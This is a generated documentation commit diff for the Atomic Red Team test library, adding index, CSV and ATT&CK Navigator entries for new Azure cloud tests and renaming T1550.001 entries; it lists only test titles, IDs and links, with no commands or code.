Generated docs from job=generate-docs branch=master [ci skip]
This commit is contained in:
@@ -2,7 +2,7 @@
|
||||
|
||||
# Atomic Red Team
|
||||
|
||||
  
|
||||
  
|
||||
|
||||
|
||||
Atomic Red Team™ is a library of tests mapped to the
|
||||
|
||||
@@ -1 +1 @@
|
||||
{"name":"Atomic Red Team (Iaas:Azure)","versions":{"attack":"16","navigator":"5.1.0","layer":"4.5"},"description":"Atomic Red Team (Iaas:Azure) MITRE ATT&CK Navigator Layer","domain":"enterprise-attack","filters":{},"gradient":{"colors":["#ffffff","#ce232e"],"minValue":0,"maxValue":10},"legendItems":[{"label":"10 or more tests","color":"#ce232e"},{"label":"1 or more tests","color":"#ffffff"}],"techniques":[{"techniqueID":"T1078","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078/T1078.md"}]},{"techniqueID":"T1078.004","score":1,"enabled":true,"comment":"\n- Azure Persistence Automation Runbook Created or Modified\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078.004/T1078.004.md"}]},{"techniqueID":"T1098","score":2,"enabled":true,"comment":"\n- Azure - adding user to Azure role in subscription\n- Azure - adding service principal to Azure role in subscription\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1098/T1098.md"}]},{"techniqueID":"T1526","score":2,"enabled":true,"comment":"\n- Azure - Dump Subscription Data with MicroBurst\n- Azure - Enumerate common cloud services\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1526/T1526.md"}]},{"techniqueID":"T1528","score":1,"enabled":true,"comment":"\n- Azure - Dump All Azure Key Vaults with Microburst\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1528/T1528.md"}]},{"techniqueID":"T1530","score":2,"enabled":true,"comment":"\n- Azure - Enumerate Azure Blobs with MicroBurst\n- Azure - Scan for Anonymous Access to Azure Storage (Powershell)\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1530/T1530.md"}]},{"techniqueID":"T1552","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1552/T1552.md"}]},{"techniqueID":"T1552.005","score":1,"enabled":true,"comment":"\n- Azure - Dump Azure Instance Metadata from Virtual Machines\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1552.005/T1552.005.md"}]},{"techniqueID":"T1562","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562/T1562.md"}]},{"techniqueID":"T1562.008","score":1,"enabled":true,"comment":"\n- Azure - Eventhub Deletion\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.008/T1562.008.md"}]}]}
|
||||
{"name":"Atomic Red Team (Iaas:Azure)","versions":{"attack":"16","navigator":"5.1.0","layer":"4.5"},"description":"Atomic Red Team (Iaas:Azure) MITRE ATT&CK Navigator Layer","domain":"enterprise-attack","filters":{},"gradient":{"colors":["#ffffff","#ce232e"],"minValue":0,"maxValue":10},"legendItems":[{"label":"10 or more tests","color":"#ce232e"},{"label":"1 or more tests","color":"#ffffff"}],"techniques":[{"techniqueID":"T1078","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078/T1078.md"}]},{"techniqueID":"T1078.004","score":1,"enabled":true,"comment":"\n- Azure Persistence Automation Runbook Created or Modified\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078.004/T1078.004.md"}]},{"techniqueID":"T1098","score":2,"enabled":true,"comment":"\n- Azure - adding user to Azure role in subscription\n- Azure - adding service principal to Azure role in subscription\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1098/T1098.md"}]},{"techniqueID":"T1526","score":2,"enabled":true,"comment":"\n- Azure - Dump Subscription Data with MicroBurst\n- Azure - Enumerate common cloud services\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1526/T1526.md"}]},{"techniqueID":"T1528","score":1,"enabled":true,"comment":"\n- Azure - Dump All Azure Key Vaults with Microburst\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1528/T1528.md"}]},{"techniqueID":"T1530","score":3,"enabled":true,"comment":"\n- Azure - Enumerate Azure Blobs with MicroBurst\n- Azure - Scan for Anonymous Access to Azure Storage (Powershell)\n- Azure - Dump Azure Storage Account Objects via Azure CLI\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1530/T1530.md"}]},{"techniqueID":"T1550","score":2,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1550/T1550.md"}]},{"techniqueID":"T1550.001","score":2,"enabled":true,"comment":"\n- Azure - Functions code upload - Functions code injection via Blob upload\n- Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1550.001/T1550.001.md"}]},{"techniqueID":"T1552","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1552/T1552.md"}]},{"techniqueID":"T1552.005","score":1,"enabled":true,"comment":"\n- Azure - Dump Azure Instance Metadata from Virtual Machines\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1552.005/T1552.005.md"}]},{"techniqueID":"T1562","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562/T1562.md"}]},{"techniqueID":"T1562.008","score":1,"enabled":true,"comment":"\n- Azure - Eventhub Deletion\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.008/T1562.008.md"}]},{"techniqueID":"T1619","score":1,"enabled":true,"comment":"\n- Azure - Enumerate Storage Account Objects via Shared Key authorization using Azure CLI\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1619/T1619.md"}]}]}
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -8,6 +8,8 @@ defense-evasion,T1562.008,Impair Defenses: Disable Cloud Logs,6,AWS - Remove VPC
|
||||
defense-evasion,T1562.008,Impair Defenses: Disable Cloud Logs,7,AWS - CloudWatch Log Group Deletes,89422c87-b57b-4a04-a8ca-802bb9d06121,sh
|
||||
defense-evasion,T1562.008,Impair Defenses: Disable Cloud Logs,8,AWS CloudWatch Log Stream Deletes,33ca84bc-4259-4943-bd36-4655dc420932,sh
|
||||
defense-evasion,T1562.008,Impair Defenses: Disable Cloud Logs,10,GCP - Delete Activity Event Log,d56152ec-01d9-42a2-877c-aac1f6ebe8e6,sh
|
||||
defense-evasion,T1550.001,Use Alternate Authentication Material: Application Access Token,1,Azure - Functions code upload - Functions code injection via Blob upload,9a5352e4-56e5-45c2-9b3f-41a46d3b3a43,powershell
|
||||
defense-evasion,T1550.001,Use Alternate Authentication Material: Application Access Token,2,Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token,67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1,powershell
|
||||
defense-evasion,T1078.004,Valid Accounts: Cloud Accounts,1,Creating GCP Service Account and Service Account Key,9fdd83fd-bd53-46e5-a716-9dec89c8ae8e,sh
|
||||
defense-evasion,T1078.004,Valid Accounts: Cloud Accounts,2,Azure Persistence Automation Runbook Created or Modified,348f4d14-4bd3-4f6b-bd8a-61237f78b3ac,powershell
|
||||
defense-evasion,T1078.004,Valid Accounts: Cloud Accounts,3,GCP - Create Custom IAM Role,3a159042-69e6-4398-9a69-3308a4841c85,sh
|
||||
@@ -19,6 +21,7 @@ impact,T1485,Data Destruction,4,GCP - Delete Bucket,4ac71389-40f4-448a-b73f-7543
|
||||
discovery,T1580,Cloud Infrastructure Discovery,1,AWS - EC2 Enumeration from Cloud Instance,99ee161b-dcb1-4276-8ecb-7cfdcb207820,sh
|
||||
discovery,T1580,Cloud Infrastructure Discovery,2,AWS - EC2 Security Group Enumeration,99b38f24-5acc-4aa3-85e5-b7f97a5d37ac,command_prompt
|
||||
discovery,T1619,Cloud Storage Object Discovery,1,AWS S3 Enumeration,3c7094f8-71ec-4917-aeb8-a633d7ec4ef5,sh
|
||||
discovery,T1619,Cloud Storage Object Discovery,2,Azure - Enumerate Storage Account Objects via Shared Key authorization using Azure CLI,070322a4-2c60-4c50-8ffb-c450a34fe7bf,powershell
|
||||
discovery,T1201,Password Policy Discovery,12,Examine AWS Password Policy,15330820-d405-450b-bd08-16b5be5be9f4,sh
|
||||
discovery,T1526,Cloud Service Discovery,1,Azure - Dump Subscription Data with MicroBurst,1e40bb1d-195e-401e-a86b-c192f55e005c,powershell
|
||||
discovery,T1526,Cloud Service Discovery,2,AWS - Enumerate common cloud services,aa8b9bcc-46fa-4a59-9237-73c7b93a980c,powershell
|
||||
@@ -43,8 +46,11 @@ privilege-escalation,T1078.004,Valid Accounts: Cloud Accounts,3,GCP - Create Cus
|
||||
collection,T1530,Data from Cloud Storage Object,1,Azure - Enumerate Azure Blobs with MicroBurst,3dab4bcc-667f-4459-aea7-4162dd2d6590,powershell
|
||||
collection,T1530,Data from Cloud Storage Object,2,Azure - Scan for Anonymous Access to Azure Storage (Powershell),146af1f1-b74e-4aa7-9895-505eb559b4b0,powershell
|
||||
collection,T1530,Data from Cloud Storage Object,3,AWS - Scan for Anonymous Access to S3,979356b9-b588-4e49-bba4-c35517c484f5,sh
|
||||
collection,T1530,Data from Cloud Storage Object,4,Azure - Dump Azure Storage Account Objects via Azure CLI,67374845-b4c8-4204-adcc-9b217b65d4f1,powershell
|
||||
initial-access,T1078.004,Valid Accounts: Cloud Accounts,1,Creating GCP Service Account and Service Account Key,9fdd83fd-bd53-46e5-a716-9dec89c8ae8e,sh
|
||||
initial-access,T1078.004,Valid Accounts: Cloud Accounts,2,Azure Persistence Automation Runbook Created or Modified,348f4d14-4bd3-4f6b-bd8a-61237f78b3ac,powershell
|
||||
initial-access,T1078.004,Valid Accounts: Cloud Accounts,3,GCP - Create Custom IAM Role,3a159042-69e6-4398-9a69-3308a4841c85,sh
|
||||
lateral-movement,T1550.001,Use Alternate Authentication Material: Application Access Token,1,Azure - Functions code upload - Functions code injection via Blob upload,9a5352e4-56e5-45c2-9b3f-41a46d3b3a43,powershell
|
||||
lateral-movement,T1550.001,Use Alternate Authentication Material: Application Access Token,2,Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token,67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1,powershell
|
||||
execution,T1651,Cloud Administration Command,1,AWS Run Command (and Control),a3cc9c95-c160-4b86-af6f-84fba87bfd30,powershell
|
||||
execution,T1648,Serverless Execution,1,Lambda Function Hijack,87a4a141-c2bb-49d1-a604-8679082d8b91,powershell
|
||||
|
||||
|
@@ -638,6 +638,8 @@ defense-evasion,T1564.001,Hide Artifacts: Hidden Files and Directories,7,Show al
|
||||
defense-evasion,T1564.001,Hide Artifacts: Hidden Files and Directories,8,Hide Files Through Registry,f650456b-bd49-4bc1-ae9d-271b5b9581e7,command_prompt
|
||||
defense-evasion,T1564.001,Hide Artifacts: Hidden Files and Directories,9,Create Windows Hidden File with powershell,7f66d539-4fbe-4cfa-9a56-4a2bf660c58a,powershell
|
||||
defense-evasion,T1564.001,Hide Artifacts: Hidden Files and Directories,10,Create Windows System File with powershell,d380c318-0b34-45cb-9dad-828c11891e43,powershell
|
||||
defense-evasion,T1550.001,Use Alternate Authentication Material: Application Access Token,1,Azure - Functions code upload - Functions code injection via Blob upload,9a5352e4-56e5-45c2-9b3f-41a46d3b3a43,powershell
|
||||
defense-evasion,T1550.001,Use Alternate Authentication Material: Application Access Token,2,Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token,67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1,powershell
|
||||
defense-evasion,T1078.004,Valid Accounts: Cloud Accounts,1,Creating GCP Service Account and Service Account Key,9fdd83fd-bd53-46e5-a716-9dec89c8ae8e,sh
|
||||
defense-evasion,T1078.004,Valid Accounts: Cloud Accounts,2,Azure Persistence Automation Runbook Created or Modified,348f4d14-4bd3-4f6b-bd8a-61237f78b3ac,powershell
|
||||
defense-evasion,T1078.004,Valid Accounts: Cloud Accounts,3,GCP - Create Custom IAM Role,3a159042-69e6-4398-9a69-3308a4841c85,sh
|
||||
@@ -1475,6 +1477,7 @@ collection,T1115,Clipboard Data,5,Add or copy content to clipboard with xClip,ee
|
||||
collection,T1530,Data from Cloud Storage Object,1,Azure - Enumerate Azure Blobs with MicroBurst,3dab4bcc-667f-4459-aea7-4162dd2d6590,powershell
|
||||
collection,T1530,Data from Cloud Storage Object,2,Azure - Scan for Anonymous Access to Azure Storage (Powershell),146af1f1-b74e-4aa7-9895-505eb559b4b0,powershell
|
||||
collection,T1530,Data from Cloud Storage Object,3,AWS - Scan for Anonymous Access to S3,979356b9-b588-4e49-bba4-c35517c484f5,sh
|
||||
collection,T1530,Data from Cloud Storage Object,4,Azure - Dump Azure Storage Account Objects via Azure CLI,67374845-b4c8-4204-adcc-9b217b65d4f1,powershell
|
||||
collection,T1005,Data from Local System,1,Search files of interest and save them to a single zip file (Windows),d3d9af44-b8ad-4375-8b0a-4bff4b7e419c,powershell
|
||||
collection,T1005,Data from Local System,2,Find and dump sqlite databases (Linux),00cbb875-7ae4-4cf1-b638-e543fd825300,bash
|
||||
collection,T1005,Data from Local System,3,Copy Apple Notes database files using AppleScript,cfb6d400-a269-4c06-a347-6d88d584d5f7,sh
|
||||
@@ -1521,6 +1524,8 @@ lateral-movement,T1021.001,Remote Services: Remote Desktop Protocol,1,RDP to Dom
|
||||
lateral-movement,T1021.001,Remote Services: Remote Desktop Protocol,2,Changing RDP Port to Non Standard Port via Powershell,2f840dd4-8a2e-4f44-beb3-6b2399ea3771,powershell
|
||||
lateral-movement,T1021.001,Remote Services: Remote Desktop Protocol,3,Changing RDP Port to Non Standard Port via Command_Prompt,74ace21e-a31c-4f7d-b540-53e4eb6d1f73,command_prompt
|
||||
lateral-movement,T1021.001,Remote Services: Remote Desktop Protocol,4,Disable NLA for RDP via Command Prompt,01d1c6c0-faf0-408e-b368-752a02285cb2,command_prompt
|
||||
lateral-movement,T1550.001,Use Alternate Authentication Material: Application Access Token,1,Azure - Functions code upload - Functions code injection via Blob upload,9a5352e4-56e5-45c2-9b3f-41a46d3b3a43,powershell
|
||||
lateral-movement,T1550.001,Use Alternate Authentication Material: Application Access Token,2,Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token,67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1,powershell
|
||||
credential-access,T1556.003,Modify Authentication Process: Pluggable Authentication Modules,1,Malicious PAM rule,4b9dde80-ae22-44b1-a82a-644bf009eb9c,sh
|
||||
credential-access,T1556.003,Modify Authentication Process: Pluggable Authentication Modules,2,Malicious PAM rule (freebsd),b17eacac-282d-4ca8-a240-46602cf863e3,sh
|
||||
credential-access,T1556.003,Modify Authentication Process: Pluggable Authentication Modules,3,Malicious PAM module,65208808-3125-4a2e-8389-a0a00e9ab326,sh
|
||||
@@ -1927,6 +1932,7 @@ discovery,T1049,System Network Connections Discovery,2,System Network Connection
|
||||
discovery,T1049,System Network Connections Discovery,3,"System Network Connections Discovery FreeBSD, Linux & MacOS",9ae28d3f-190f-4fa0-b023-c7bd3e0eabf2,sh
|
||||
discovery,T1049,System Network Connections Discovery,4,System Discovery using SharpView,96f974bb-a0da-4d87-a744-ff33e73367e9,powershell
|
||||
discovery,T1619,Cloud Storage Object Discovery,1,AWS S3 Enumeration,3c7094f8-71ec-4917-aeb8-a633d7ec4ef5,sh
|
||||
discovery,T1619,Cloud Storage Object Discovery,2,Azure - Enumerate Storage Account Objects via Shared Key authorization using Azure CLI,070322a4-2c60-4c50-8ffb-c450a34fe7bf,powershell
|
||||
discovery,T1654,Log Enumeration,1,Get-EventLog To Enumerate Windows Security Log,a9030b20-dd4b-4405-875e-3462c6078fdc,powershell
|
||||
discovery,T1654,Log Enumeration,2,Enumerate Windows Security Log via WevtUtil,fef0ace1-3550-4bf1-a075-9fea55a778dd,command_prompt
|
||||
discovery,T1057,Process Discovery,1,Process Discovery - ps,4ff64f0b-aaf2-4866-b39d-38d9791407cc,sh
|
||||
|
||||
|
@@ -45,7 +45,7 @@
|
||||
- T1556.009 Conditional Access Policies [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1036.010 Masquerade Account Name [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1484 Domain or Tenant Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1550.001 Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1550.001 Use Alternate Authentication Material: Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1078.004 Valid Accounts: Cloud Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1556 Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
|
||||
@@ -107,7 +107,7 @@
|
||||
# lateral-movement
|
||||
- T1550 Use Alternate Authentication Material [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1021.007 Cloud Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1550.001 Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1550.001 Use Alternate Authentication Material: Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
|
||||
# execution
|
||||
- T1059.009 Cloud API [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
|
||||
@@ -43,7 +43,7 @@
|
||||
- T1656 Impersonation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1562.008 Impair Defenses: Disable Cloud Logs [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1036.010 Masquerade Account Name [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1550.001 Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1550.001 Use Alternate Authentication Material: Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- [T1078.004 Valid Accounts: Cloud Accounts](../../T1078.004/T1078.004.md)
|
||||
- Atomic Test #1: Creating GCP Service Account and Service Account Key [google-workspace, iaas:gcp]
|
||||
- T1556 Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
@@ -64,7 +64,7 @@
|
||||
- T1021.007 Cloud Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1534 Internal Spearphishing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1550.004 Web Session Cookie [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1550.001 Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1550.001 Use Alternate Authentication Material: Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
|
||||
# initial-access
|
||||
- T1566.002 Phishing: Spearphishing Link [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
|
||||
@@ -827,7 +827,9 @@
|
||||
- Atomic Test #9: Create Windows Hidden File with powershell [windows]
|
||||
- Atomic Test #10: Create Windows System File with powershell [windows]
|
||||
- T1578.001 Create Snapshot [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1550.001 Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- [T1550.001 Use Alternate Authentication Material: Application Access Token](../../T1550.001/T1550.001.md)
|
||||
- Atomic Test #1: Azure - Functions code upload - Functions code injection via Blob upload [iaas:azure]
|
||||
- Atomic Test #2: Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token [iaas:azure]
|
||||
- [T1078.004 Valid Accounts: Cloud Accounts](../../T1078.004/T1078.004.md)
|
||||
- Atomic Test #1: Creating GCP Service Account and Service Account Key [google-workspace, iaas:gcp]
|
||||
- Atomic Test #2: Azure Persistence Automation Runbook Created or Modified [iaas:azure]
|
||||
@@ -2014,6 +2016,7 @@
|
||||
- Atomic Test #1: Azure - Enumerate Azure Blobs with MicroBurst [iaas:azure]
|
||||
- Atomic Test #2: Azure - Scan for Anonymous Access to Azure Storage (Powershell) [iaas:azure]
|
||||
- Atomic Test #3: AWS - Scan for Anonymous Access to S3 [iaas:aws]
|
||||
- Atomic Test #4: Azure - Dump Azure Storage Account Objects via Azure CLI [iaas:azure]
|
||||
- T1074.002 Remote Data Staging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- [T1005 Data from Local System](../../T1005/T1005.md)
|
||||
- Atomic Test #1: Search files of interest and save them to a single zip file (Windows) [windows]
|
||||
@@ -2109,7 +2112,9 @@
|
||||
- Atomic Test #2: Changing RDP Port to Non Standard Port via Powershell [windows]
|
||||
- Atomic Test #3: Changing RDP Port to Non Standard Port via Command_Prompt [windows]
|
||||
- Atomic Test #4: Disable NLA for RDP via Command Prompt [windows]
|
||||
- T1550.001 Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- [T1550.001 Use Alternate Authentication Material: Application Access Token](../../T1550.001/T1550.001.md)
|
||||
- Atomic Test #1: Azure - Functions code upload - Functions code injection via Blob upload [iaas:azure]
|
||||
- Atomic Test #2: Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token [iaas:azure]
|
||||
|
||||
# credential-access
|
||||
- T1557 Adversary-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
@@ -2616,6 +2621,7 @@
|
||||
- T1497 Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- [T1619 Cloud Storage Object Discovery](../../T1619/T1619.md)
|
||||
- Atomic Test #1: AWS S3 Enumeration [iaas:aws]
|
||||
- Atomic Test #2: Azure - Enumerate Storage Account Objects via Shared Key authorization using Azure CLI [iaas:azure]
|
||||
- [T1654 Log Enumeration](../../T1654/T1654.md)
|
||||
- Atomic Test #1: Get-EventLog To Enumerate Windows Security Log [windows]
|
||||
- Atomic Test #2: Enumerate Windows Security Log via WevtUtil [windows]
|
||||
|
||||
@@ -47,7 +47,7 @@
|
||||
- Atomic Test #3: Office 365 - Exchange Audit Log Disabled [office-365]
|
||||
- Atomic Test #9: Office 365 - Set Audit Bypass For a Mailbox [office-365]
|
||||
- T1036.010 Masquerade Account Name [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1550.001 Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1550.001 Use Alternate Authentication Material: Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1078.004 Valid Accounts: Cloud Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1556 Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
|
||||
@@ -67,7 +67,7 @@
|
||||
- T1021.007 Cloud Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1534 Internal Spearphishing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1550.004 Web Session Cookie [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1550.001 Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1550.001 Use Alternate Authentication Material: Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
|
||||
# initial-access
|
||||
- T1566.002 Phishing: Spearphishing Link [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
|
||||
@@ -23,7 +23,7 @@
|
||||
| Spearphishing via Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | XPC Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Account Manipulation: Additional Cloud Roles](../../T1098.003/T1098.003.md) | AppDomainManager [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Modify Cloud Compute Infrastructure [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Steal or Forge Kerberos Tickets: AS-REP Roasting](../../T1558.004/T1558.004.md) | [Time Based Evasion](../../T1497.003/T1497.003.md) | [Remote Service Session Hijacking: RDP Hijacking](../../T1563.002/T1563.002.md) | Network Device Configuration Dump [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Compute Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
|
||||
| [Valid Accounts: Local Accounts](../../T1078.003/T1078.003.md) | User Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Boot or Logon Autostart Execution: Print Processors](../../T1547.012/T1547.012.md) | Additional Container Cluster Roles [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Pre-OS Boot: System Firmware](../../T1542.001/T1542.001.md) | Steal or Forge Kerberos Tickets [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Cloud Infrastructure Discovery](../../T1580/T1580.md) | [Use Alternate Authentication Material: Pass the Hash](../../T1550.002/T1550.002.md) | [Archive Collected Data](../../T1560/T1560.md) | | Port Knocking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
|
||||
| | [Software Deployment Tools](../../T1072/T1072.md) | [Hijack Execution Flow: DLL Search Order Hijacking](../../T1574.001/T1574.001.md) | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Hijack Execution Flow: Services Registry Permissions Weakness](../../T1574.011/T1574.011.md) | [Credentials from Password Stores](../../T1555/T1555.md) | [Browser Bookmark Discovery](../../T1217/T1217.md) | [Remote Services: Remote Desktop Protocol](../../T1021.001/T1021.001.md) | Browser Session Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | File Transfer Protocols [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Account Access Removal](../../T1531/T1531.md) |
|
||||
| | [Command and Scripting Interpreter: PowerShell](../../T1059.001/T1059.001.md) | [Office Application Startup: Add-ins](../../T1137.006/T1137.006.md) | Additional Local or Domain Groups [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Bootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Unsecured Credentials](../../T1552/T1552.md) | [System Network Configuration Discovery](../../T1016/T1016.md) | Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | DHCP Spoofing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | One-Way Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Data Encrypted for Impact](../../T1486/T1486.md) |
|
||||
